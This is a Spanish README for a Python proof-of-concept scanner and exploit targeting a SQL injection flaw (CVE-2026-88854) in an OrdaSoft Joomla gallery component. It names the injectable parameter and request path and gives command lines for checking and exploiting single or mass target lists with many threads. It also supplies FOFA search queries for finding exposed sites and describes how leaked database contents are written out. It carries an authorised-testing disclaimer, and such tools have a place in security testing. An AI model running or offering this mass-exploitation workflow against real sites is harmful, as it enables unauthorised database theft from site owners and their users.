CVE-2026-88854 — Inyección SQL en OrdaSoft Joomla Gallery

Escáner/exploit PoC en Python 3 para CVE-2026-88854 en OrdaSoft OS Responsive Image Gallery para Joomla.

Resumen

showSearchResult() / showSearchResultAjax() leen textsearch / searchText mediante $input->getVar(), que no aplica un escape SQL adecuado. El valor se concatena en una cláusula LIKE. Los visitantes no autenticados pueden usar inyección de tipo UNION para leer el contenido de la base de datos.

Superficie de petición típica:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

Las instalaciones heredadas pueden usar el nombre de tarea searhResult (error tipográfico).

Requisitos

• Python 3.9+
• pip install -r requirements.txt

Uso

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

Opciones de CLI

Salida (mass check)

Valores comunes de status (check)

Auditoría posterior al escaneo (audit_scan.py)

Tras un check masivo, ejecute audit_scan.py para volver a obtener los manifiestos del administrador y dividir los objetivos:

La versión de la galería se lee del elemento <version> en administrator/components/com_osgallery/osgallery.xml, no del atributo extension version= de Joomla.

Limitaciones

• El modo Exploit usa EXTRACTVALUE basado en errores de MySQL; MariaDB/Postgres, errores deshabilitados o WAF pueden no producir ninguna fuga incluso cuando el CVE aplica.
• Las diferencias de longitud booleanas por sí solas no se tratan como SQLi confirmada (ModSecurity 406 causó falsos positivos en las pruebas).
• Una versión del manifiesto ≤ 6.2.6 indica ventana de exposición, no SQLi explotable garantizada en todos los hosts.
• Las instalaciones de Joomla en subdirectorio requieren la URL base correcta (p. ej. https://host/site).

FOFA / pistas de descubrimiento

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Estructura del repositorio

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Las listas de objetivos locales y los artefactos de ejecución (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) están en .gitignore y no deben confirmarse.

Referencias

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

Legal

Solo para pruebas de seguridad autorizadas. Usted es responsable del cumplimiento de las leyes aplicables y las reglas del programa.